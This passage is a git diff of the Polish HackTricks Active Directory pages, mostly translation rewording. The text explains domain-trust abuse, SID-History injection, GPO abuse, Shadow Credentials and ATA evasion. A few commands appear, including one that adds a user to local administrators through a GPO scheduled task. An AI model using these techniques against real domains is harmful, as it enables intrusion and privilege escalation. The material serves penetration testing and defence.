istnieje konto **lokalnego administratora**. Uzyskując prawa administratora na takiej maszynie, hash lokalnego administratora może być wyodrębniony za pomocą **mimikatz**. Następnie konieczna jest modyfikacja rejestru, aby **umożliwić użycie tego hasła**, co pozwala na zdalny dostęp do konta lokalnego administratora. {{#ref}} dsrm-credentials.md @@ -449,7 +449,7 @@ dsrm-credentials.md ### Utrzymanie ACL -Możesz **przyznać** pewne **specjalne uprawnienia** **użytkownikowi** do niektórych konkretnych obiektów domeny, które pozwolą użytkownikowi **eskalować uprawnienia w przyszłości**. +Możesz **przyznać** pewne **specjalne uprawnienia** użytkownikowi do niektórych konkretnych obiektów domeny, które pozwolą użytkownikowi **eskalować uprawnienia w przyszłości**. {{#ref}} acl-persistence-abuse/ @@ -457,7 +457,7 @@ acl-persistence-abuse/ ### Opisniki zabezpieczeń -**Opisy zabezpieczeń** są używane do **przechowywania** **uprawnień**, jakie **obiekt** ma **nad** innym **obiektem**. Jeśli możesz **dokonać** **niewielkiej zmiany** w **opisie zabezpieczeń** obiektu, możesz uzyskać bardzo interesujące uprawnienia nad tym obiektem bez potrzeby bycia członkiem uprzywilejowanej grupy. +**Opisy zabezpieczeń** są używane do **przechowywania** **uprawnień**, jakie **obiekt** ma **nad** innym **obiektem**. Jeśli możesz **dokonać** **małej zmiany** w **opisie zabezpieczeń** obiektu, możesz uzyskać bardzo interesujące uprawnienia nad tym obiektem bez potrzeby bycia członkiem uprzywilejowanej grupy. {{#ref}} security-descriptors.md @@ -473,7 +473,7 @@ skeleton-key.md ### Niestandardowy SSP -[Dowiedz się, czym jest SSP (Dostawca Wsparcia Zabezpieczeń) tutaj.](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\ +[Dowiedz się, czym jest SSP (Security Support Provider) tutaj.](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\ Możesz stworzyć **własny SSP**, aby **przechwytywać** w **czystym tekście** **poświadczenia** używane do uzyskania dostępu do maszyny.\\ {{#ref}} @@ -482,7 +482,7 @@ custom-ssp.md ### DCShadow -Rejestruje **nowy kontroler domeny** w AD i używa go do **wprowadzania atrybutów** (SIDHistory, SPNs...) na określonych obiektach **bez** pozostawiania jakichkolwiek **logów** dotyczących **zmian**. Musisz mieć uprawnienia DA i być w **domenie głównej**.\ +Rejestruje **nowy kontroler domeny** w AD i używa go do **wypychania atrybutów** (SIDHistory, SPNs...) na określonych obiektach **bez** pozostawiania jakichkolwiek **logów** dotyczących **zmian**. Musisz mieć uprawnienia DA i być w **domenie głównej**.\ Zauważ, że jeśli użyjesz błędnych danych, pojawią się dość brzydkie logi. {{#ref}} @@ -500,43 +500,43 @@ laps.md ## Eskalacja uprawnień w lesie - Zaufania domen -Microsoft postrzega **las** jako granicę bezpieczeństwa. Oznacza to, że **skomprmitowanie jednej domeny może potencjalnie prowadzić do skompromitowania całego lasu**. +Microsoft postrzega **las** jako granicę bezpieczeństwa. Oznacza to, że **skomplikowanie jednej domeny może potencjalnie prowadzić do skompromitowania całego lasu**. ### Podstawowe informacje -[**Zaufanie domeny**]() to mechanizm zabezpieczeń, który umożliwia użytkownikowi z jednej **domeny** dostęp do zasobów w innej **domenie**. W zasadzie tworzy to powiązanie między systemami uwierzytelniania obu domen, umożliwiając płynny przepływ weryfikacji uwierzytelnienia. Gdy domeny ustanawiają zaufanie, wymieniają i zachowują określone **klucze** w swoich **kontrolerach domeny (DC)**, które są kluczowe dla integralności zaufania. +[**Zaufanie domeny**]() to mechanizm zabezpieczeń, który umożliwia użytkownikowi z jednej **domeny** dostęp do zasobów w innej **domenie**. W zasadzie tworzy to powiązanie między systemami uwierzytelniania obu domen, umożliwiając płynne przepływy weryfikacji uwierzytelnienia. Gdy domeny ustanawiają zaufanie, wymieniają i zachowują określone **klucze** w swoich **Kontrolerach Domeny (DC)**, które są kluczowe dla integralności zaufania. -W typowym scenariuszu, jeśli użytkownik zamierza uzyskać dostęp do usługi w **zaufanej domenie**, musi najpierw zażądać specjalnego biletu znanego jako **inter-realm TGT** z DC swojej własnej domeny. Ten TGT jest szyfrowany za pomocą wspólnego **klucza**, na który obie domeny się zgodziły. Użytkownik następnie przedstawia ten TGT do **DC zaufanej domeny**, aby uzyskać bilet usługi (**TGS**). Po pomyślnej walidacji inter-realm TGT przez DC zaufanej domeny, wydaje TGS, przyznając użytkownikowi dostęp do usługi. +W typowym scenariuszu, jeśli użytkownik zamierza uzyskać dostęp do usługi w **zaufanej domenie**, musi najpierw zażądać specjalnego biletu znanego jako **inter-realm TGT** od swojego DC domeny. Ten TGT jest szyfrowany za pomocą wspólnego **klucza**, na który obie domeny się zgodziły. Użytkownik następnie przedstawia ten TGT do **DC zaufanej domeny**, aby uzyskać bilet usługi (**TGS**). Po pomyślnej weryfikacji inter-realm TGT przez DC zaufanej domeny, wydaje TGS, przyznając użytkownikowi dostęp do usługi. **Kroki**: -1. **Klient komputer** w **Domenie 1** rozpoczyna proces, używając swojego **hasza NTLM**, aby zażądać **Biletu Przyznawania Biletów (TGT)** od swojego **Kontrolera Domeny (DC1)**. +1. **Klient komputer** w **Domenie 1** rozpoczyna proces, używając swojego **hasła NTLM**, aby zażądać **Biletu Grantującego Bilet (TGT)** od swojego **Kontrolera Domeny (DC1)**. 2. DC1 wydaje nowy TGT, jeśli klient zostanie pomyślnie uwierzytelniony. 3. Klient następnie żąda **inter-realm TGT** od DC1, który jest potrzebny do uzyskania dostępu do zasobów w **Domenie 2**. 4. Inter-realm TGT jest szyfrowany za pomocą **klucza zaufania** współdzielonego między DC1 a DC2 w ramach dwukierunkowego zaufania domen. 5. Klient zabiera inter-realm TGT do **Kontrolera Domeny 2 (DC2)**. -6. DC2 weryfikuje inter-realm TGT za pomocą swojego współdzielonego klucza zaufania i, jeśli jest ważny, wydaje **Bilet Usługi Przyznawania Biletów (TGS)** dla serwera w Domenie 2, do którego klient chce uzyskać dostęp. -7. Na koniec klient przedstawia ten TGS serwerowi, który jest szyfrowany haszem konta serwera, aby uzyskać dostęp do usługi w Domenie 2. +6. DC2 weryfikuje inter-realm TGT za pomocą swojego współdzielonego klucza zaufania i, jeśli jest ważny, wydaje **Bilet Grantujący Usługę (TGS)** dla serwera w Domenie 2, do którego klient chce uzyskać dostęp. +7. Na koniec klient przedstawia ten TGS serwerowi, który jest szyfrowany hasłem konta serwera, aby uzyskać dostęp do usługi w Domenie 2. ### Różne zaufania Ważne jest, aby zauważyć, że **zaufanie może być jednostronne lub dwustronne**. W przypadku opcji dwustronnej obie domeny będą sobie ufać, ale w przypadku **jednostronnego** zaufania jedna z domen będzie **zaufana**, a druga **ufająca**. W ostatnim przypadku **możesz uzyskać dostęp do zasobów wewnątrz ufającej domeny tylko z zaufanej**. -Jeśli Domen A ufa Domenie B, A jest ufającą domeną, a B jest zaufaną. Ponadto, w **Domenie A**, byłoby to **zaufanie wychodzące**; a w **Domenie B**, byłoby to **zaufanie przychodzące**. +Jeśli Domen A ufa Domenie B, A jest ufającą domeną, a B jest zaufaną. Ponadto, w **Domenie A** byłoby to **zaufanie wychodzące**; a w **Domenie B** byłoby to **zaufanie przychodzące**. **Różne relacje zaufania** -- **Zaufania Rodzic-Dziecko**: To powszechna konfiguracja w obrębie tego samego lasu, gdzie domena dziecka automatycznie ma dwustronne zaufanie z domeną rodzica. Oznacza to, że żądania uwierzytelnienia mogą płynnie przepływać między rodzicem a dzieckiem. -- **Zaufania Krzyżowe**: Nazywane "zaufaniami skrótowymi", są ustanawiane między domenami dziecka, aby przyspieszyć procesy referencyjne. W złożonych lasach, referencje uwierzytelniające zazwyczaj muszą podróżować w górę do korzenia lasu, a następnie w dół do docelowej domeny. Tworząc zaufania krzyżowe, podróż jest skracana, co jest szczególnie korzystne w geograficznie rozproszonych środowiskach. -- **Zaufania Zewnętrzne**: Te są ustanawiane między różnymi, niepowiązanymi domenami i są z natury nietransitywne. Zgodnie z [dokumentacją Microsoftu](), zaufania zewnętrzne są przydatne do uzyskiwania dostępu do zasobów w domenie poza bieżącym lasem, która nie jest połączona przez zaufanie lasu. Bezpieczeństwo jest wzmacniane przez filtrowanie SID w przypadku zaufania zewnętrznego. -- **Zaufania Korzeni Drzewa**: Te zaufania są automatycznie ustanawiane między domeną korzenia lasu a nowo dodanym korzeniem drzewa. Chociaż nie są powszechnie spotykane, zaufania korzeni drzewa są ważne dla dodawania nowych drzew domen do lasu, umożliwiając im utrzymanie unikalnej nazwy domeny i zapewniając dwukierunkową transytywność. Więcej informacji można znaleźć w [przewodniku Microsoftu](). -- **Zaufania Lasu**: Ten typ zaufania to dwukierunkowe zaufanie transytywne między dwoma domenami korzenia lasu, również egzekwujące filtrowanie SID w celu wzmocnienia środków bezpieczeństwa. -- **Zaufania MIT**: Te zaufania są ustanawiane z domenami Kerberos zgodnymi z [RFC4120](https://tools.ietf.org/html/rfc4120) niebędącymi systemami Windows. Zaufania MIT są nieco bardziej wyspecjalizowane i odpowiadają środowiskom wymagającym integracji z systemami opartymi na Kerberos poza ekosystemem Windows. +- **Zaufania Rodzic-Dziecko**: To powszechna konfiguracja w obrębie tego samego lasu, gdzie domena dziecka automatycznie ma dwukierunkowe zaufanie z domeną rodzica. Oznacza to, że żądania uwierzytelnienia mogą płynnie przepływać między rodzicem a dzieckiem. +- **Zaufania Krzyżowe**: Nazywane "zaufaniami skrótowymi", są ustanawiane między domenami dziecka, aby przyspieszyć procesy referencyjne. W złożonych lasach, referencje uwierzytelniające zazwyczaj muszą podróżować do korzenia lasu, a następnie w dół do docelowej domeny. Tworząc zaufania krzyżowe, podróż jest skracana, co jest szczególnie korzystne w geograficznie rozproszonych środowiskach. +- **Zaufania Zewnętrzne**: Te są ustanawiane między różnymi, niepowiązanymi domenami i są z natury nietransitywne. Zgodnie z [dokumentacją Microsoftu](), zaufania zewnętrzne są przydatne do uzyskiwania dostępu do zasobów w domenie poza aktualnym lasem, która nie jest połączona przez zaufanie lasu. Bezpieczeństwo jest wzmacniane przez filtrowanie SID w przypadku zaufania zewnętrznego. +- **Zaufania Korzeni Drzewa**: Te zaufania są automatycznie ustanawiane między korzeniem lasu a nowo dodanym korzeniem drzewa. Chociaż nie są powszechnie spotykane, zaufania korzeni drzewa są ważne dla dodawania nowych drzew domen do lasu, umożliwiając im utrzymanie unikalnej nazwy domeny i zapewniając dwukierunkową transytywność. Więcej informacji można znaleźć w [przewodniku Microsoftu](). +- **Zaufania Lasu**: Ten typ zaufania to dwukierunkowe zaufanie transytywne między dwoma korzeniami lasu, również egzekwując filtrowanie SID w celu wzmocnienia środków bezpieczeństwa. +- **Zaufania MIT**: Te zaufania są ustanawiane z domenami Kerberos zgodnymi z [RFC4120](https://tools.ietf.org/html/rfc4120), które nie są systemami Windows. Zaufania MIT są nieco bardziej wyspecjalizowane i odpowiadają środowiskom wymagającym integracji z systemami opartymi na Kerberos poza ekosystemem Windows. #### Inne różnice w **relacjach zaufania** - Relacja zaufania może być również **transytywna** (A ufa B, B ufa C, więc A ufa C) lub **nietransytywna**. -- Relacja zaufania może być ustanowiona jako **zaufanie dwukierunkowe** (obie sobie ufają) lub jako **zaufanie jednostronne** (tylko jedna z nich ufa drugiej). +- Relacja zaufania może być skonfigurowana jako **zaufanie dwukierunkowe** (obie sobie ufają) lub jako **zaufanie jednostronne** (tylko jedna z nich ufa drugiej). ### Ścieżka ataku @@ -547,11 +547,11 @@ Jeśli Domen A ufa Domenie B, A jest ufającą domeną, a B jest zaufaną. Ponad Atakujący mogą uzyskać dostęp do zasobów w innej domenie za pomocą trzech głównych mechanizmów: -- **Członkostwo w grupie lokalnej**: Podmioty mogą być dodawane do lokalnych grup na maszynach, takich jak grupa "Administratorzy" na serwerze, co daje im znaczne uprawnienia nad tą maszyną. +- **Członkostwo w grupie lokalnej**: Podmioty mogą być dodawane do lokalnych grup na maszynach, takich jak grupa "Administratorzy" na serwerze, co daje im znaczne kontrolę nad tą maszyną. - **Członkostwo w grupie domeny obcej**: Podmioty mogą być również członkami grup w domenie obcej. Jednak skuteczność tej metody zależy od charakteru zaufania i zakresu grupy. -- **Listy Kontroli Dostępu (ACL)**: Podmioty mogą być określone w **ACL**, szczególnie jako jednostki w **ACE** w ramach **DACL**, co zapewnia im dostęp do określonych zasobów. Dla tych, którzy chcą zgłębić mechanikę ACL, DACL i ACE, dokument zatytułowany “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” jest cennym źródłem. +- **Listy Kontroli Dostępu (ACL)**: Podmioty mogą być określone w **ACL**, szczególnie jako podmioty w **ACE** w ramach **DACL**, co zapewnia im dostęp do określonych zasobów. Dla tych, którzy chcą zgłębić mechanikę ACL, DACL i ACE, dokument biały zatytułowany “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” jest cennym źródłem. -### Eskalacja uprawnień w lesie z dziecka do rodzica +### Eskalacja uprawnień z dziecka do rodzica w lesie ``` Get-DomainTrust @@ -574,7 +574,7 @@ WhenChanged : 2/19/2021 1:28:00 PM #### Wstrzykiwanie SID-History -Wznieś się jako administrator Enterprise do domeny dziecka/rodzica, wykorzystując zaufanie z wstrzykiwaniem SID-History: +Wznieś się jako administrator przedsiębiorstwa do domeny dziecka/rodzica, wykorzystując zaufanie z wstrzykiwaniem SID-History: {{#ref}} sid-history-injection.md @@ -582,11 +582,11 @@ sid-history-injection.md #### Wykorzystanie zapisywalnego NC Konfiguracji -Zrozumienie, jak NC Konfiguracji (Naming Context) może być wykorzystywane, jest kluczowe. NC Konfiguracji służy jako centralne repozytorium danych konfiguracyjnych w całym lesie w środowiskach Active Directory (AD). Te dane są replikowane do każdego Kontrolera Domeny (DC) w lesie, a zapisywalne DC utrzymują zapisywalną kopię NC Konfiguracji. Aby to wykorzystać, należy mieć **uprawnienia SYSTEM na DC**, najlepiej na DC dziecka. +Zrozumienie, jak NC Konfiguracji (Naming Context) może być wykorzystywane, jest kluczowe. NC Konfiguracji służy jako centralne repozytorium danych konfiguracyjnych w całym lesie w środowiskach Active Directory (AD). Dane te są replikowane do każdego kontrolera domeny (DC) w lesie, a zapisywalne DC utrzymują zapisywalną kopię NC Konfiguracji. Aby to wykorzystać, należy mieć **uprawnienia SYSTEM na DC**, najlepiej na DC dziecka. -**Połączenie GPO z witryną główną DC** +**Połącz GPO z witryną główną DC** -Kontener Witryn NC Konfiguracji zawiera informacje o wszystkich komputerach dołączonych do domeny w lesie AD. Działając z uprawnieniami SYSTEM na dowolnym DC, atakujący mogą połączyć GPO z witrynami głównymi DC. Ta akcja potencjalnie kompromituje główną domenę, manipulując politykami stosowanymi w tych witrynach. +Kontener Witryn NC Konfiguracji zawiera informacje o wszystkich komputerach dołączonych do domeny w lesie AD. Działając z uprawnieniami SYSTEM na dowolnym DC, atakujący mogą połączyć GPO z witrynami głównymi DC. Działanie to potencjalnie kompromituje główną domenę poprzez manipulację politykami stosowanymi do tych witryn. Aby uzyskać szczegółowe informacje, można zbadać badania na temat [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research). @@ -604,7 +604,7 @@ Dalsze czytanie dostępne jest na temat [Schema Change Trust Attacks](https://im **Z DA do EA z ADCS ESC5** -Luka ADCS ESC5 celuje w kontrolę nad obiektami Infrastruktury Klucza Publicznego (PKI), aby stworzyć szablon certyfikatu, który umożliwia uwierzytelnienie jako dowolny użytkownik w lesie. Ponieważ obiekty PKI znajdują się w NC Konfiguracji, kompromitacja zapisywalnego DC dziecka umożliwia przeprowadzenie ataków ESC5. +Luka ADCS ESC5 celuje w kontrolę nad obiektami Infrastruktury Klucza Publicznego (PKI), aby utworzyć szablon certyfikatu, który umożliwia uwierzytelnienie jako dowolny użytkownik w lesie. Ponieważ obiekty PKI znajdują się w NC Konfiguracji, kompromitacja zapisywalnego DC dziecka umożliwia przeprowadzenie ataków ESC5. Więcej szczegółów można przeczytać w [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). W scenariuszach bez ADCS, atakujący ma możliwość skonfigurowania niezbędnych komponentów, jak omówiono w [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/). @@ -639,16 +639,16 @@ WhenChanged : 2/19/2021 10:15:24 PM ``` W tym scenariuszu **twoja domena** **ufa** pewnym **uprawnieniom** dla podmiotu z **innych domen**. -Jednak gdy **domena jest zaufana** przez ufającą domenę, zaufana domena **tworzy użytkownika** o **przewidywalnej nazwie**, który używa jako **hasła zaufanego hasła**. Oznacza to, że możliwe jest **uzyskanie dostępu do użytkownika z ufającej domeny, aby dostać się do zaufanej**, aby ją zenumerować i spróbować eskalować więcej uprawnień: +Jednakże, gdy **domena jest zaufana** przez ufającą domenę, zaufana domena **tworzy użytkownika** o **przewidywalnej nazwie**, który używa jako **hasła zaufanego hasła**. Oznacza to, że możliwe jest **uzyskanie dostępu do użytkownika z ufającej domeny, aby dostać się do zaufanej**, aby ją zenumerować i spróbować eskalować więcej uprawnień: {{#ref}} external-forest-domain-one-way-outbound.md {{#endref}} -Innym sposobem na skompromitowanie zaufanej domeny jest znalezienie [**zaufanego linku SQL**](abusing-ad-mssql.md#mssql-trusted-links) utworzonego w **przeciwnej kierunku** zaufania domeny (co nie jest zbyt powszechne). +Innym sposobem na skompromitowanie zaufanej domeny jest znalezienie [**zaufanego linku SQL**](abusing-ad-mssql.md#mssql-trusted-links) utworzonego w **przeciwnym kierunku** zaufania domeny (co nie jest zbyt powszechne). Innym sposobem na skompromitowanie zaufanej domeny jest czekanie na maszynie, na której **użytkownik z zaufanej domeny może uzyskać dostęp** do logowania przez **RDP**. Następnie atakujący mógłby wstrzyknąć kod w proces sesji RDP i **uzyskać dostęp do domeny źródłowej ofiary** stamtąd.\ -Co więcej, jeśli **ofiara zamontowała swój dysk twardy**, z procesu sesji **RDP** atakujący mógłby przechowywać **tylnie drzwi** w **folderze startowym dysku twardego**. Ta technika nazywa się **RDPInception.** +Co więcej, jeśli **ofiara zamontowała swój dysk twardy**, z procesu sesji **RDP** atakujący mógłby przechowywać **tylnie drzwi** w **folderze autostartu dysku twardego**. Ta technika nazywa się **RDPInception.** {{#ref}} rdp-sessions-abuse.md @@ -659,7 +659,7 @@ rdp-sessions-abuse.md ### **Filtracja SID:** - Ryzyko ataków wykorzystujących atrybut historii SID w zaufaniach między lasami jest łagodzone przez filtrację SID, która jest domyślnie aktywowana we wszystkich zaufaniach między lasami. Opiera się to na założeniu, że zaufania wewnątrz lasu są bezpieczne, traktując las, a nie domenę, jako granicę bezpieczeństwa zgodnie z stanowiskiem Microsoftu. -- Jednak jest haczyk: filtracja SID może zakłócać aplikacje i dostęp użytkowników, co prowadzi do jej okazjonalnej dezaktywacji. +- Jednak jest pewien haczyk: filtracja SID może zakłócać aplikacje i dostęp użytkowników, co prowadzi do jej okazjonalnej dezaktywacji. ### **Selektywna autoryzacja:** @@ -672,7 +672,7 @@ rdp-sessions-abuse.md {% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity" %} -## Niektóre ogólne obrony +## Niektóre ogólne środki obronne [**Dowiedz się więcej o tym, jak chronić dane uwierzytelniające tutaj.**](../stealing-credentials/credentials-protections.md)\\ @@ -684,20 +684,20 @@ rdp-sessions-abuse.md ### **Wdrażanie technik oszustwa** -- Wdrażanie oszustwa polega na ustawianiu pułapek, takich jak użytkownicy lub komputery zwodnicze, z funkcjami takimi jak hasła, które nie wygasają lub są oznaczone jako zaufane do delegacji. Szczegółowe podejście obejmuje tworzenie użytkowników z określonymi prawami lub dodawanie ich do grup o wysokich uprawnieniach. +- Wdrażanie oszustwa polega na ustawianiu pułapek, takich jak użytkownicy lub komputery pułapki, z funkcjami takimi jak hasła, które nie wygasają lub są oznaczone jako zaufane do delegacji. Szczegółowe podejście obejmuje tworzenie użytkowników z określonymi prawami lub dodawanie ich do grup o wysokich uprawnieniach. - Praktyczny przykład obejmuje użycie narzędzi takich jak: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` - Więcej na temat wdrażania technik oszustwa można znaleźć w [Deploy-Deception na GitHubie](https://github.com/samratashok/Deploy-Deception). ### **Identyfikacja oszustwa** - **Dla obiektów użytkowników**: Podejrzane wskaźniki obejmują nietypowy ObjectSID, rzadkie logowania, daty utworzenia i niskie liczby błędnych haseł. -- **Ogólne wskaźniki**: Porównanie atrybutów potencjalnych obiektów zwodniczych z atrybutami obiektów autentycznych może ujawnić niespójności. Narzędzia takie jak [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) mogą pomóc w identyfikacji takich oszustw. +- **Ogólne wskaźniki**: Porównanie atrybutów potencjalnych obiektów pułapek z atrybutami obiektów autentycznych może ujawnić niespójności. Narzędzia takie jak [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) mogą pomóc w identyfikacji takich oszustw. ### **Omijanie systemów wykrywania** - **Omijanie wykrywania Microsoft ATA**: - **Enumeracja użytkowników**: Unikanie enumeracji sesji na kontrolerach domeny, aby zapobiec wykryciu przez ATA. -- **Impersonacja biletu**: Wykorzystanie kluczy **aes** do tworzenia biletów pomaga unikać wykrycia, nie obniżając się do NTLM. +- **Impersonacja biletów**: Wykorzystanie kluczy **aes** do tworzenia biletów pomaga unikać wykrycia, nie obniżając się do NTLM. - **Ataki DCSync**: Zaleca się wykonywanie z nie-kontrolera domeny, aby uniknąć wykrycia przez ATA, ponieważ bezpośrednie wykonanie z kontrolera domeny wywoła alerty. ## Odniesienia diff --git a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md index 4cef70d72..bc6e0f7b3 100644 --- a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md +++ b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md @@ -3,11 +3,11 @@ {{#include ../../banners/hacktricks-training.md}} -## **MSSQL Enumeracja / Odkrywanie** +## **MSSQL Enumeration / Discovery** ### Python -Narzędzie [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) opiera się na impacket i pozwala również na uwierzytelnianie za pomocą biletów kerberos oraz atakowanie przez łańcuchy linków. +Narzędzie [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) opiera się na impacket i umożliwia również uwierzytelnianie za pomocą biletów kerberos oraz atakowanie przez łańcuchy linków.
```shell @@ -223,7 +223,7 @@ EXEC sp_linkedservers; #### Wykonaj zapytania w zaufanym linku -Wykonaj zapytania przez link (przykład: znajdź więcej linków w nowej dostępnej instancji): +Wykonaj zapytania przez link (przykład: znajdź więcej linków w nowo dostępnym instancji): ```sql select * from openquery("dcorp-sql1", 'select * from master..sysservers') ``` diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md index bcec043e4..d4202f959 100644 --- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md +++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md @@ -112,7 +112,7 @@ Atak DCSync wykorzystuje specyficzne uprawnienia replikacji w domenie, aby naśl ### Delegacja GPO -Delegowany dostęp do zarządzania obiektami zasad grupy (GPO) może stwarzać znaczące ryzyko bezpieczeństwa. Na przykład, jeśli użytkownik taki jak `offense\spotless` ma delegowane prawa do zarządzania GPO, może mieć uprawnienia takie jak **WriteProperty**, **WriteDacl** i **WriteOwner**. Te uprawnienia mogą być nadużywane w celach złośliwych, co można zidentyfikować za pomocą PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` +Delegowane uprawnienia do zarządzania obiektami zasad grupy (GPO) mogą stwarzać znaczące ryzyko bezpieczeństwa. Na przykład, jeśli użytkownik taki jak `offense\spotless` ma delegowane prawa do zarządzania GPO, może mieć uprawnienia takie jak **WriteProperty**, **WriteDacl** i **WriteOwner**. Te uprawnienia mogą być nadużywane w celach złośliwych, co można zidentyfikować za pomocą PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` ### Wyliczanie uprawnień GPO @@ -126,7 +126,7 @@ Aby zidentyfikować źle skonfigurowane GPO, można połączyć cmdlety PowerSpl ### Nadużycie GPO - New-GPOImmediateTask -Źle skonfigurowane GPO mogą być wykorzystywane do wykonywania kodu, na przykład poprzez utworzenie natychmiastowego zadania zaplanowanego. Można to zrobić, aby dodać użytkownika do lokalnej grupy administratorów na dotkniętych maszynach, znacznie podnosząc uprawnienia: +Źle skonfigurowane GPO mogą być wykorzystywane do wykonywania kodu, na przykład poprzez utworzenie natychmiastowego zaplanowanego zadania. Można to zrobić, aby dodać użytkownika do lokalnej grupy administratorów na dotkniętych maszynach, znacznie podnosząc uprawnienia: ```powershell New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force ``` @@ -155,13 +155,13 @@ Struktura zadania, jak pokazano w pliku konfiguracyjnym XML generowanym przez `N ### Użytkownicy i grupy -GPO umożliwiają również manipulację członkostwem użytkowników i grup na docelowych systemach. Poprzez bezpośrednią edycję plików polityki Użytkowników i Grup, atakujący mogą dodawać użytkowników do uprzywilejowanych grup, takich jak lokalna grupa `administrators`. Jest to możliwe dzięki delegacji uprawnień zarządzania GPO, co pozwala na modyfikację plików polityki w celu dodania nowych użytkowników lub zmiany członkostwa w grupach. +GPO umożliwiają również manipulację członkostwem użytkowników i grup na docelowych systemach. Poprzez bezpośrednią edycję plików polityki Użytkownicy i Grupy, atakujący mogą dodawać użytkowników do uprzywilejowanych grup, takich jak lokalna grupa `administrators`. Jest to możliwe dzięki delegacji uprawnień zarządzania GPO, co pozwala na modyfikację plików polityki w celu dodania nowych użytkowników lub zmiany członkostwa w grupach. Plik konfiguracyjny XML dla Użytkowników i Grup określa, jak te zmiany są wdrażane. Dodając wpisy do tego pliku, określonym użytkownikom można przyznać podwyższone uprawnienia w systemach objętych zmianami. Ta metoda oferuje bezpośrednie podejście do eskalacji uprawnień poprzez manipulację GPO. Ponadto, dodatkowe metody wykonywania kodu lub utrzymywania trwałości, takie jak wykorzystanie skryptów logowania/wylogowywania, modyfikacja kluczy rejestru dla autorunów, instalacja oprogramowania za pomocą plików .msi lub edytowanie konfiguracji usług, mogą być również rozważane. Te techniki oferują różne możliwości utrzymania dostępu i kontrolowania docelowych systemów poprzez nadużycie GPO. -## Odniesienia +## Odnośniki - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) - [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges) diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md index bc962c08e..2e92f8d22 100644 --- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md +++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md @@ -17,14 +17,14 @@ Aby zastosować tę technikę, muszą być spełnione określone warunki: - Wymagany jest co najmniej jeden kontroler domeny Windows Server 2016. - Kontroler domeny musi mieć zainstalowany cyfrowy certyfikat uwierzytelniania serwera. - Active Directory musi być na poziomie funkcjonalnym Windows Server 2016. -- Wymagane jest konto z delegowanymi uprawnieniami do modyfikacji atrybutu msDS-KeyCredentialLink obiektu docelowego. +- Wymagana jest konto z delegowanymi uprawnieniami do modyfikacji atrybutu msDS-KeyCredentialLink obiektu docelowego. ## Nadużycie Nadużycie Key Trust dla obiektów komputerowych obejmuje kroki wykraczające poza uzyskanie Ticket Granting Ticket (TGT) i hasha NTLM. Opcje obejmują: 1. Utworzenie **RC4 silver ticket**, aby działać jako uprzywilejowani użytkownicy na zamierzonym hoście. -2. Użycie TGT z **S4U2Self** do impersonacji **uprzywilejowanych użytkowników**, co wymaga zmian w Service Ticket, aby dodać klasę usługi do nazwy usługi. +2. Użycie TGT z **S4U2Self** do podszywania się pod **uprzywilejowanych użytkowników**, co wymaga zmian w Service Ticket, aby dodać klasę usługi do nazwy usługi. Znaczną zaletą nadużycia Key Trust jest jego ograniczenie do prywatnego klucza generowanego przez atakującego, unikając delegacji do potencjalnie wrażliwych kont i nie wymagając tworzenia konta komputerowego, co może być trudne do usunięcia. @@ -51,7 +51,7 @@ python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target ``` ### [ShadowSpray](https://github.com/Dec0ne/ShadowSpray/) -ShadowSpray ma na celu **wykorzystanie uprawnień GenericWrite/GenericAll, które szerokie grupy użytkowników mogą mieć nad obiektami domeny**, aby szeroko stosować ShadowCredentials. Obejmuje to logowanie do domeny, weryfikację poziomu funkcjonalnego domeny, enumerację obiektów domeny oraz próbę dodania KeyCredentials w celu uzyskania TGT i ujawnienia NT hash. Opcje czyszczenia i taktyki rekurencyjnego wykorzystywania zwiększają jego użyteczność. +ShadowSpray ma na celu **wykorzystanie uprawnień GenericWrite/GenericAll, które mogą mieć szerokie grupy użytkowników nad obiektami domeny**, aby szeroko stosować ShadowCredentials. Obejmuje to logowanie do domeny, weryfikację poziomu funkcjonalnego domeny, enumerację obiektów domeny oraz próbę 